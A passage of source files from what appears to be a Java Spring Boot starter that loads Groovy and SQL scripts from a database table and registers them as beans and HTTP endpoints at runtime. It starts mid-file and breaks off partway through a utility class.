groovyApiService.queryApiConfigList();\n\n\t\t\tApiConfigCache.putAll(groovyScripts);\n\n\n\t\t\tinitNew(groovyScripts);\n\n\t\t\trefreshMapping(groovyScripts);\n\t\t} catch (IllegalArgumentException e) {\n\t\t\t//e.printStackTrace();\n\t\t\tConsole.log(\"数据源配置有误：\"+e.getMessage());\n\t\t\tif(e.getMessage().contains(\"Config not found by configName\")) {\n\t\t\t\tConsole.error(\"数据源配置有误：\"+e.getMessage());\n\t\t\t}\n//\t\t} catch (ActiveRecordException e) {\n//\t\t\t//e.printStackTrace();\n//\t\t\tif(e.getMessage().contains(\"doesn't exist\")) {\n//\t\t\t\tConsole.error(\"api_config表或关联表结构在数据库不存在，配置有误：\"+e.getMessage());\n//\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n        long cost = System.currentTimeMillis() - start;\n        System.out.println(\"结束解析groovy脚本...，耗时：\" + cost);\n\t}\n\n\tprivate void initNew(List<ApiConfig> groovyInfos) {\n\t\tif (CollectionUtils.isEmpty(groovyInfos)) {\n\t\t\treturn;\n\t\t}\n\t\tfor (ApiConfig groovyInfo : groovyInfos) {\n\t\t\tBoolean isSucess = true;\n\t\t\ttry {\n\t\t\t\tif(groovyInfo.getScriptType().equalsIgnoreCase(\"Class\")){\n\t\t\t\t\tClass clazz = groovyClassLoader.parseClass(groovyInfo.getScriptContent());\n\t\t\t\t\tString clazzname = clazz.getName();\n\t\t\t\t\tStaticLog.info(\"clazzName = \"+ clazzname);\n\t\t\t\t\tregisterBean(clazzname+groovyInfo.getId(), clazz);\n//\t\t\t\t\tregisterBean(groovyInfo.getPath()+groovyInfo.getBeanName(), clazz);\n\t\t\t\t}else if(groovyInfo.getScriptType().equalsIgnoreCase(\"SQL\")){\n\t\t\t\t\tlog.info(\"当前Groovy脚本类型SQL类型脚本1：className-{},path-{},beanName-{},BeanType-{}：\",groovyInfo.getBeanName(),groovyInfo.getPath(),groovyInfo.getBeanName(),groovyInfo.getScriptType());\n\t\t\t\t}else {\n\t\t\t\t\tlog.error(\"当前Groovy脚本类型不支持1：className-{},path-{},beanName-{},BeanType-{}：\",groovyInfo.getBeanName(),groovyInfo.getPath(),groovyInfo.getBeanName(),groovyInfo.getScriptType());\n\t\t\t\t}\n\t\t\t} catch (BeanDefinitionStoreException e) {\n\t\t\t\tisSucess = false;\n\t\t\t\tStaticLog.error(e.getMessage());//e.printStackTrace();\n\t\t\t} catch (CompilationFailedException e) {\n\t\t\t\tisSucess = false;\n\t\t\t\tStaticLog.error(e.getMessage());//e.printStackTrace();\n\t\t\t}catch (Exception e) {\n\t\t\t\tisSucess = false;\n\t\t\t\tStaticLog.error(e.getMessage());//e.printStackTrace();\n\t\t\t}\n\t\t\tif(!isSucess){\n\t\t\t\tlog.info(\"当前groovyInfo加载成功1,className-{},path-{},beanName-{},BeanType-{}：\",groovyInfo.getBeanName(),groovyInfo.getPath(),groovyInfo.getBeanName(),groovyInfo.getScriptType());\n\t\t\t}\n\t\t}\n\t\tApiConfigCache.put2map(groovyInfos);\n\t}\n\n\tpublic void registerBean(String beanName, Class clazz) {\n\t\tthis.registry = (BeanDefinitionRegistry) applicationContext.getAutowireCapableBeanFactory();\n\t\tBeanDefinitionBuilder builder = BeanDefinitionBuilder.genericBeanDefinition(clazz);\n\t\tBeanDefinition beanDefinition = builder.getBeanDefinition();\n\t\tregistry.registerBeanDefinition(beanName, beanDefinition);\n\t}\n\n\n\tpublic void refreshNew() {\n\n\t\tList<ApiConfig> groovyInfos = groovyApiService.queryApiConfigList();\n\n\t\tApiConfigCache.putAll(groovyInfos);\n\n\t\tif (CollectionUtils.isEmpty(groovyInfos)) {\n\t\t\treturn;\n\t\t}\n\n\t\tdestroyBeanDefinition(groovyInfos);\n\n\t\t//destroyScriptBeanFactory();\n\t\tinitNew(groovyInfos);\n\n\t\tApiConfigCache.put2map(groovyInfos);\n\n\t\trefreshMapping(groovyInfos);\n\t}\n\n\tprivate void destroyBeanDefinition(List<ApiConfig> groovyInfos) {\n\t\tDefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) applicationContext\n\t\t\t\t.getAutowireCapableBeanFactory();\n\t\tfor (ApiConfig groovyInfo : groovyInfos) {\n\t\t\ttry {\n\t\t\t\tbeanFactory.removeBeanDefinition(groovyInfo.getBeanName());\n\t\t\t} catch (Exception e) {\n\t\t\t\tSystem.out\n\t\t\t\t\t\t.println(\"【Groovy】 delete groovy bean definition exception. skip:\" + groovyInfo.getBeanName());\n\t\t\t}\n\t\t}\n\t}\n\n//\tprivate void destroyScriptBeanFactory() {\n//\t\tString[] postProcessorNames = applicationContext.getBeanFactory()\n//\t\t\t\t.getBeanNamesForType(CustomScriptFactoryPostProcessor.class, true, false);\n//\t\tfor (String postProcessorName : postProcessorNames) {\n//\t\t\tCustomScriptFactoryPostProcessor processor = (CustomScriptFactoryPostProcessor) applicationContext\n//\t\t\t\t\t.getBean(postProcessorName);\n//\t\t\tprocessor.destroy();\n//\t\t}\n//\t}\n\n\t/**\n\t * 重建单一请求的注册与缓存\n\t */\n\tpublic void refreshMapping(List<ApiConfig> groovyScripts) {\n\t\ttry {\n\t\t\tfor (ApiConfig apiInfo : groovyScripts) {\n\t\t\t\t// 取消历史注册\n\t\t\t\tif (apiInfo != null) {\n\t\t\t\t\trequestMappingService.unregisterMappingForApiConfig(apiInfo);\n\t\t\t\t\tApiConfigCache.remove(apiInfo);\n\t\t\t\t}\n\n\t\t\t\t// 重新注册mapping\n\t\t\t\tif (apiInfo != null) {\n\t\t\t\t\trequestMappingService.registerMappingForApiConfig(apiInfo);\n\t\t\t\t\tApiConfigCache.put(apiInfo);\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (NoSuchMethodException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t@Override\n\tpublic void setApplicationContext(ApplicationContext applicationContext) throws BeansException {\n\t\tthis.applicationContext = (ConfigurableApplicationContext) applicationContext;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/groovy/interfaces/IRun.java",
    "content": "package io.github.wujun728.groovy.interfaces;\n\nimport java.util.Map;\n\npublic interface IRun<T, P extends Map> {\n\t\n\t/**\n\t * 执行接口\n\t * \n\t * @return\n\t * @throws Exception \n\t */\n\tpublic T run(P params) throws Exception;\n\n\t/**\n\t * 回滚接口，业务补偿\n\t * \n\t * @return\n\t */\n//\tpublic T rollback(P params);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/groovy/mapping/http/RequestMappingExecutor.java",
    "content": "package io.github.wujun728.groovy.mapping.http;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.CompletableFuture;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\nimport java.util.stream.Collectors;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport cn.hutool.core.util.CharsetUtil;\nimport com.alibaba.fastjson2.JSON;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.groovy.service.GroovyApiService;\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport io.github.wujun728.groovy.interfaces.IRun;\nimport io.github.wujun728.rest.service.RestSqlService;\nimport io.github.wujun728.rest.util.HttpRequestUtil;\nimport io.github.wujun728.groovy.cache.ApiConfigCache;\nimport io.github.wujun728.common.exception.BusinessException;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.NoSuchBeanDefinitionException;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.web.ServerProperties;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationListener;\nimport org.springframework.context.event.ContextRefreshedEvent;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport com.alibaba.fastjson2.JSONArray;\nimport com.alibaba.fastjson2.JSONObject;\n\nimport cn.hutool.extra.spring.SpringUtil;\nimport lombok.SneakyThrows;\nimport lombok.extern.slf4j.Slf4j;\n\n@Slf4j\n@Component\npublic class RequestMappingExecutor implements ApplicationListener<ContextRefreshedEvent> {\n\n\t@Autowired\n\tprivate GroovyApiService groovyApiService;\n\n\t@Autowired\n\tprivate ServerProperties serverProperties;\n\n\tpublic void init(Boolean isStart) throws Exception {\n\n\t}\n\n\tprivate String getIpAndAdress() {\n\t\tString content = serverProperties.getServlet().getContextPath() == null ? \"\"\n\t\t\t\t: serverProperties.getServlet().getContextPath();\n\t\tInteger port = serverProperties.getPort() == null ? 8080 : serverProperties.getPort();\n\t\tString context = SpringUtil.getProperty(\"project.groovy-api.context\");\n\t\treturn \"http://localhost:\" + port + (\"/\" + content + context).replace(\"//\", \"/\");\n\t}\n\n\t/**\n\t * 执行脚本逻辑\n\t */\n\t@RequestMapping\n\t@ResponseBody\n\tpublic void execute(HttpServletRequest request, HttpServletResponse response) throws Throwable {\n\t\tClass<? extends RequestMappingExecutor> cls = this.getClass();\n\t\t// 使用方法\n\t\ttry {\n\t\t\t// 获取方法 Method 对象\n\t\t\tMethod method = cls.getDeclaredMethod(\"process\", HttpServletRequest.class, HttpServletResponse.class);\n\t\t\t// 执行方法\n\t\t\tmethod.invoke(this, request, response);\n\t\t} catch (NoSuchMethodException e) {\n\t\t\tlog.warn(\"当前子类未实现自定义方法[process]，走默认Bean定义的逻辑[无自定义执行逻辑]\");\n\t\t\ttry {\n\t\t\t\tRequestMappingExecutor executor = SpringUtil.getBean(\"HttpMappingExecutor\");\n\t\t\t\texecutor.execute(request, response);\n\t\t\t} catch (NoSuchBeanDefinitionException ex ) {\n\t\t\t\t//log.warn(\"找不到默认执行Bean[HttpMappingExecutor],No bean named 'HttpMappingExecutor' available，走系统默认执行逻辑[无自定义执行逻辑]\");\n\t\t\t\t//throw new RuntimeException(ex);\n\t\t\t} catch (RuntimeException  ex ) {\n\t\t\t\tlog.warn(ex.getMessage());\n\t\t\t\t//throw new RuntimeException(ex);\n\t\t\t} catch (Exception  ex ) {\n\t\t\t\tlog.warn(ex.getMessage());\n\t\t\t\t//throw new RuntimeException(ex);\n\t\t\t}\n//\t\t\tSet<Class<?>> clazzs = ClassUtil.scanPackageBySuper(\"io.github.wujun728\", RequestMappingExecutor.class);\n//\t\t\tfor(Class clazz: clazzs) {\n//\t\t\t\tReflectUtil.invoke(clazzs, null, null)\n//\t\t\t}\n\t\t\tlog.info(\"执行默认方法的逻辑[无自定义执行逻辑]\");\n\t\t\tdefaultMetod(request, response);\n\t\t\t// 找不到当前子类实现的方法[process]，走默认方法的逻辑\n\t\t\t//e.printStackTrace();\n\t\t} catch (InvocationTargetException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IllegalAccessException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t@SneakyThrows\n\t@Override\n\tpublic void onApplicationEvent(ContextRefreshedEvent contextRefreshedEvent) {\n\t\tApplicationContext parent = contextRefreshedEvent.getApplicationContext().getParent();\n\t\tif (parent == null) {\n\t\t\tinit(true);\n\t\t}\n\t}\n\n    public static Map<String, Object> getSqlParam(HttpServletRequest request, ApiConfig config) {\n        Map<String, Object> map = new HashMap<>();\n\n        JSONArray requestParams = JSON.parseArray(config.getParams());\n        for (int i = 0; i < requestParams.size(); i++) {\n            JSONObject jo = requestParams.getJSONObject(i);\n            String name = jo.getString(\"name\");\n            String type = jo.getString(\"type\");\n\n            //数组类型参数\n            if (type.startsWith(\"Array\")) {\n                String[] values = request.getParameterValues(name);\n                if (values != null) {\n                    List<String> list = Arrays.asList(values);\n                    if (values.length > 0) {\n                        switch (type) {\n                            case \"Array<double>\":\n                                List<Double> collect = list.stream().map(value -> Double.valueOf(value)).collect(Collectors.toList());\n                                map.put(name, collect);\n                                break;\n                            case \"Array<bigint>\":\n                                List<Long> longs = list.stream().map(value -> Long.valueOf(value)).collect(Collectors.toList());\n                                map.put(name, longs);\n                                break;\n                            case \"Array<string>\":\n                            case \"Array<date>\":\n                                map.put(name, list);\n                                break;\n                        }\n                    } else {\n                        map.put(name, list);\n                    }\n                } else {\n                    map.put(name, null);\n                }\n            } else {\n\n                String value = request.getParameter(name);\n                if (StringUtils.isNotBlank(value)) {\n\n                    switch (type) {\n                        case \"double\":\n                            Double v = Double.valueOf(value);\n                            map.put(name, v);\n                            break;\n                        case \"bigint\":\n                            Long longV = Long.valueOf(value);\n                            map.put(name, longV);\n                            break;\n                        case \"string\":\n                        case \"date\":\n                            map.put(name, value);\n                            break;\n                    }\n                } else {\n                    map.put(name, value);\n                }\n            }\n        }\n        return map;\n    }\n\n\n\t//*****************************************************************************************************************\n\t//*****************************************************************************************************************\n\t//*****************************************************************************************************************\n\n\n\t@Resource\n\tRestSqlService restSqlService;\n\t/**\n\t * 执行脚本逻辑\n\t */\n\tpublic void defaultMetod(HttpServletRequest request, HttpServletResponse response) throws Throwable {\n\t\tlog.info(\"servlet execute\");\n\n//\t\tthis.request = request;\n//\t\tthis.response = response;\n\t\tlog.info(\"HttpMappingExecutor execute  begin \");\n//\t\tR r = null ;\n\t\tObject data = null;\n\t\tString servletPath = request.getRequestURI();\n\t\tPrintWriter out = null;\n\t\ttry {\n\t\t\t//  执行SQL逻辑  *****************************************************************************************************\n\t\t\t// 校验接口是否存在\n\t\t\tApiConfig config = ApiConfigCache.get(servletPath);\n\t\t\tif (config == null) {\n\t\t\t\tresponse.setStatus(HttpServletResponse.SC_NOT_FOUND);\n\t\t\t\tresponse.setContentType(request.getContentType());\n\t\t\t\tresponse.setCharacterEncoding(CharsetUtil.UTF_8);\n\t\t\t\tout = response.getWriter();\n\t\t\t\tout.append(JSON.toJSONString(Result.fail(\"Api not exists\")));\n\t\t\t}\n\t\t\tswitch (config.getScriptType()) {\n\t\t\t\tcase \"SQL\":\n\t\t\t\t\tApiSql apiSql = new ApiSql();\n\t\t\t\t\tapiSql.setPath(config.getPath());\n\t\t\t\t\tapiSql.setText(config.getScriptContent());\n\t\t\t\t\tMap<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n\t\t\t\t\tdata = restSqlService.doSQLProcess(apiSql, parameters);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Class\":\n\t\t\t\t\tdata = doGroovyProcess(config, request, response);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Groovy\":\n\t\t\t\t\tdata = doGroovyProcess(config, request, response);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Jython\": // TODO\n\t\t\t\t\tdata = doGroovyProcess(config, request, response);\n\t\t\t\t\tbreak; // TODO\n\t\t\t\tcase \"JavaScript\": // TODO\n\t\t\t\t\tdata = doGroovyProcess(config, request, response);\n\t\t\t\tcase \"Jruby\":// TODO\n\t\t\t\t\tdata = doGroovyProcess(config, request, response);\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tresponse.setContentType(request.getContentType());\n\t\t\tresponse.setCharacterEncoding(CharsetUtil.UTF_8);\n\t\t\tout = response.getWriter();\n\t\t\tout.append(JSON.toJSONString(data));\n\t\t} catch (Exception e) {\n\t\t\tresponse.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);\n\t\t\tresponse.setContentType(request.getContentType());\n\t\t\tresponse.setCharacterEncoding(CharsetUtil.UTF_8);\n\t\t\tout = response.getWriter();\n\t\t\tout.append(JSON.toJSONString(Result.fail(e.toString())));\n\t\t\tlog.error(e.toString(), e);\n\t\t} finally {\n\t\t\tif (out != null)\n\t\t\t\tout.close();\n\t\t}\n\t\tlog.info(\"HttpMappingExecutor execute  end \");\n\t}\n\n\n\tpublic static void timeOut(String[] args) {\n\t\t// 定义超时时间为3秒\n\t\tlong timeout = 3000;\n\n\t\t// 创建一个新的CompletableFuture\n\t\tCompletableFuture<Object> future = CompletableFuture.supplyAsync(() -> {\n\t\t\t// 这里是要执行的方法\n\t\t\t//return longRunningMethod();\n\t\t\treturn new Object();\n\t\t});\n\t\t// 获取执行结果\n\t\ttry {\n\t\t\tObject result = future.get(timeout, TimeUnit.MILLISECONDS);\n\t\t\tSystem.out.println(\"方法执行完毕，结果：\" + result.toString());\n\t\t} catch (InterruptedException e) {\n\t\t\tSystem.out.println(\"出现异常，结束该方法的执行\");\n\t\t\tfuture.cancel(true);\n\t\t} catch (ExecutionException e) {\n\t\t\tSystem.out.println(\"出现异常，结束该方法的执行\");\n\t\t\tfuture.cancel(true);\n\t\t} catch (TimeoutException e) {\n\t\t\t// 超时了，结束该方法的执行\n\t\t\tSystem.out.println(\"超时了，结束该方法的执行\");\n\t\t\tfuture.cancel(true);\n\t\t}\n\t}\n\n\n\tpublic Object doGroovyProcess(ApiConfig config, HttpServletRequest request, HttpServletResponse response) throws Exception {\n\t\tString beanName = ApiConfigCache.getByPath(config.getPath());\n\t\tMap<String, Object> params =HttpRequestUtil.getAllParameters(request);\n\t\tObject beanObj = SpringUtil.getBean(beanName);\n\t\ttry {\n\t\t\tif(beanObj instanceof IRun){\n\t\t\t\tIRun bean = (IRun) beanObj;\n\t\t\t\treturn bean.run(params);\n\t\t\t}/*else if(beanObj instanceof AbstractExecutor){\n\t\t\t\tAbstractExecutor bean = (AbstractExecutor) beanObj;\n\t\t\t\tbean.init(request,response);\n\t\t\t\treturn bean.execute(params);\n\t\t\t}*/\n\t\t} catch (BusinessException e) {\n\t\t\treturn Result.fail(e.getMessage());\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n//\t\t\tif(beanObj instanceof  IExecutor){\n//\t\t\t\tIExecutor bean = (IExecutor) beanObj;\n//\t\t\t\tbean.rollback(params);\n//\t\t\t}else if(beanObj instanceof  AbstractExecutor){\n//\t\t\t\tAbstractExecutor bean = (AbstractExecutor) beanObj;\n//\t\t\t\tbean.init(request,response);\n//\t\t\t\tbean.rollback(params);\n//\t\t\t}\n\t\t\tthrow e;\n\t\t}\n\t\treturn \"ERROR：执行错误，请检查执行日志并捕获并处理异常！\";\n\t}\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/groovy/mapping/http/RequestMappingService.java",
    "content": "package io.github.wujun728.groovy.mapping.http;\n\nimport cn.hutool.extra.spring.SpringUtil;\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport io.github.wujun728.groovy.util.MappingRegisterUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.InitializingBean;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.mvc.method.RequestMappingInfo;\nimport org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\n@Service\n@Slf4j\npublic class RequestMappingService implements InitializingBean {\n\n\t@Autowired\n\tprivate RequestMappingHandlerMapping requestMappingHandlerMapping;\n\n\t/**\n\t * 获取已注册的API地址\n\t */\n\tpublic List<ApiConfig> getPathListForCode() {\n\n\t\tMap<RequestMappingInfo, HandlerMethod> map = requestMappingHandlerMapping.getHandlerMethods();\n\t\tList<ApiConfig> result = new ArrayList<>(map.size());\n\t\tfor (RequestMappingInfo info : map.keySet()) {\n\n\t\t\tif (map.get(info).getMethod().getDeclaringClass() == RequestMappingExecutor.class) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tString groupName = map.get(info).getBeanType().getSimpleName();\n\t\t\tString context = SpringUtil.getProperty(\"project.groovy-api.context\");\n\t\t\tString servicename = SpringUtil.getProperty(\"project.groovy-api.servicename\");\n\t\t\tfor (String path : MappingRegisterUtil.getPatterns(info)) {\n\t\t\t\t// 过滤本身的类\n\t\t\t\tif (path.indexOf(context) == 0 || path.equals(\"/error\")) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tSet<RequestMethod> methods = info.getMethodsCondition().getMethods();\n\t\t\t\tif (methods.isEmpty()) {\n\t\t\t\t\tApiConfig apiInfo = new ApiConfig();\n\t\t\t\t\tapiInfo.setPath(path);\n\t\t\t\t\tapiInfo.setMethod(\"All\");\n\t\t\t\t\tapiInfo.setScriptType(\"Code\");\n\t\t\t\t\tapiInfo.setBeanName(servicename);\n\t\t\t\t\tapiInfo.setCreator(\"admin\");\n\t\t\t\t\tapiInfo.setDatasourceId(\"\");\n\t\t\t\t\tapiInfo.setScriptContent(\"\");\n\t\t\t\t\tapiInfo.setPath(path);\n\t\t\t\t\tresult.add(apiInfo);\n\t\t\t\t} else {\n\t\t\t\t\tfor (RequestMethod method : methods) {\n\t\t\t\t\t\tApiConfig apiInfo = new ApiConfig();\n\t\t\t\t\t\tapiInfo.setPath(path);\n\t\t\t\t\t\tapiInfo.setMethod(method.name());\n\t\t\t\t\t\tapiInfo.setScriptType(\"Code\");\n\t\t\t\t\t\tapiInfo.setBeanName(servicename);\n\t\t\t\t\t\tapiInfo.setCreator(\"admin\");\n\t\t\t\t\t\tapiInfo.setDatasourceId(\"\");\n\t\t\t\t\t\tapiInfo.setScriptContent(\"\");\n\t\t\t\t\t\tapiInfo.setPath(path);\n\t\t\t\t\t\tresult.add(apiInfo);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t}\n\t\n\n\n\t/**\n\t * 注册mapping\n\t *\n\t * @param apiInfo\n\t */\n\tpublic synchronized void registerMappingForApiConfig(ApiConfig apiInfo) throws NoSuchMethodException {\n\t\t MappingRegisterUtil.registerMapping(apiInfo.getMethod(), apiInfo.getPath(), apiInfo.getScriptType());\n\t}\n\n\n\t/**\n\t * 取消注册mapping\n\t *\n\t * @param apiInfo\n\t */\n\tpublic synchronized void unregisterMappingForApiConfig(ApiConfig apiInfo) {\n\t\tMappingRegisterUtil.unregisterMapping(apiInfo.getMethod(), apiInfo.getPath(), apiInfo.getScriptType());\n\t}\n\n\n\t/**\n\t * 判断是否是原始代码注册的mapping\n\t * \n\t * @param method\n\t * @param pattern\n\t */\n\tpublic Boolean isCodeMapping(String pattern, String method) {\n\t\tMap<RequestMappingInfo, HandlerMethod> map = requestMappingHandlerMapping.getHandlerMethods();\n\t\tfor (RequestMappingInfo info : map.keySet()) {\n\t\t\tif (map.get(info).getMethod().getDeclaringClass() == RequestMappingExecutor.class) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tSet<String> patterns = MappingRegisterUtil.getPatterns(info);\n\t\t\tSet<RequestMethod> methods = info.getMethodsCondition().getMethods();\n\t\t\tif (patterns.contains(pattern) && (methods.isEmpty() || methods.contains(RequestMethod.valueOf(method)))) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic void afterPropertiesSet() throws Exception {\n\t\tlog.info(\" RequestMappingService is init .... \");\n\t}\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/groovy/service/GroovyApiService.java",
    "content": "package io.github.wujun728.groovy.service;\n\nimport cn.hutool.core.lang.Console;\nimport cn.hutool.extra.spring.SpringUtil;\nimport cn.hutool.log.StaticLog;\nimport com.alibaba.fastjson2.JSON;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport com.google.common.collect.Lists;\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport io.github.wujun728.sql.entity.ApiDataSource;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.CollectionUtils; \nimport javax.annotation.PostConstruct;\nimport javax.sql.DataSource;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n@Component\n@Slf4j\npublic class GroovyApiService {\n\n\t//@PostConstruct\n\tpublic void init(){\n        StaticLog.info(\"GroovyApiService is staring ... \");\n\t}\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<ApiConfig> queryApiConfigList() {\n\t\tList<Record> lists = Db.use(\"main\").find(\"select * from \"+\"api_config\"+\" where status = 'ENABLE' \");\n\t\t// List<Map<String, Object>> lists = jdbcTemplate.queryForList(\"select * from  \"+tablename+\"  where status = 'ENABLE' \");\n\t\tList<ApiConfig> datas = RecordUtil.recordToBeans(lists,ApiConfig.class);\n\t\tif(!CollectionUtils.isEmpty(datas)) {\n\t\t\tbuildApiConifgSubApiSql(datas);\n\t\t}\n\t\tif(Boolean.TRUE.equals(Boolean.valueOf(SpringUtil.getProperty(\"project.runApi.enable\")))){\n\t\t\t//log.info(JSON.toJSONString(datas));\n\t\t\tqueryCountSql();\n\t\t\tqueryDatasourceList();\n\t\t\tquerySQLList(\"0\");\n\t\t\tgetDatasource(\"0\");\n\t\t}\n\t\treturn datas;\n\t}\n\n\n\tpublic Integer queryCountSql() {\n\t\t//Long aLong = jdbcTemplate.queryForObject(\"select count(*) from test \", Long.class);\n\t\tInteger count = Db.use(\"main\").queryForInt(\"select count(*) from  \"+\"api_config\"+\"  \");\n\t\treturn count;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<ApiDataSource> queryDatasourceList() {\n\t\tPage<Record> lists = Db.use(\"main\").paginate(1,2,\"select * \",\" from  \"+\"api_datasource\"+\"  where id <> ? \");\n\t\t//Console.log(JSON.toJSONString(lists));\n\t\tConsole.log(JSON.toJSONString(RecordUtil.pageRecordToPageMap(lists)));\n\n\t\tString from = \"from  \"+\"api_datasource\"+\"  where id > ?\";\n\t\tString totalRowSql = \"select count(*) \" + from;\n\t\tString findSql = \"select * \" + from + \" order by id\";\n\t\tDb.paginate(1, 10, totalRowSql, findSql);\n//\t\tDb.paginate(1,10,findSql);\n\n\t\treturn null;\n\t}\n\t\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<Map<String, Object>> querySQLList(String apiId) {\n\t\tList<Record> lists = Db.use(\"main\").find(\"select * from  \"+\"api_config\"+\"  \");\n\t\t// List<Map<String, Object>> lists = jdbcTemplate.queryForList(\"select * from api_sql where api_id = \"+apiId);\n\t\tList<ApiSql> datas = RecordUtil.recordToBeans(lists,ApiSql.class);\n\t\tList<Map<String, Object>> datas2 = RecordUtil.recordToMaps(lists);\n//\t\tList<ApiSql> datas = RecordUtil.mapToBeans(lists,ApiSql.class);\n\t\t//log.info(JSON.toJSONString(datas));\n\t\treturn datas2;\n\t}\n\t\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic ApiDataSource getDatasource(String id) {\n\t\tApiDataSource info = new ApiDataSource();\n\t\tRecord record= Db.use(\"main\").findById( \"api_datasource\" , id);\n\t\treturn RecordUtil.recordToBean(record,ApiDataSource.class);\n\t}\n\n\n\tprivate static void buildApiConifgSubApiSql(List<ApiConfig> datas) {\n\t\tdatas.stream().map(item->{\n\t\t\t\t\tList<ApiSql> sqlList = Lists.newArrayList();\n\t\t\t\t\tif(\"sql\".equalsIgnoreCase(item.getScriptType())) {\n\t\t\t\t\t\tString sqls[] = item.getScriptContent().split(\";\");\n\t\t\t\t\t\tif(sqls.length>0) {\n\t\t\t\t\t\t\tfor(String sql : sqls) {\n\t\t\t\t\t\t\t\tif(StringUtils.isEmpty(sql)) {\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tApiSql apisql = new ApiSql();\n\t\t\t\t\t\t\t\tapisql.setId(String.valueOf(item.getId()));\n\t\t\t\t\t\t\t\tapisql.setText(sql);\n\t\t\t\t\t\t\t\tsqlList.add(apisql);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\titem.setSqlList(sqlList);\n\n\t\t\t\t\treturn item;\n\t\t\t\t}\n\t\t).collect(Collectors.toList());\n\t}\n\t\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/groovy/util/BeanRegisterUtil.java",
    "content": "package io.github.wujun728.groovy.util;\n\n\nimport cn.hutool.core.exceptions.UtilException;\nimport cn.hutool.extra.spring.SpringUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.config.BeanDefinition;\nimport org.springframework.beans.factory.config.ConfigurableListableBeanFactory;\nimport org.springframework.beans.factory.support.BeanDefinitionBuilder;\nimport org.springframework.beans.factory.support.BeanDefinitionRegistry;\nimport org.springframework.beans.factory.support.DefaultSingletonBeanRegistry;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.util.ClassUtils;\nimport org.springframework.util.ReflectionUtils;\nimport org.springframework.web.servlet.mvc.method.RequestMappingInfo;\nimport org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;\n\nimport java.lang.reflect.Method;\n\n/**\n * 动态注册对象到容器\n */\n@Slf4j\npublic class BeanRegisterUtil {\n    /**\n     * 动态添加controller到spring容器\n     * @param controllerBeanName\n     * @throws Exception\n     */\n    public static void registerController(String 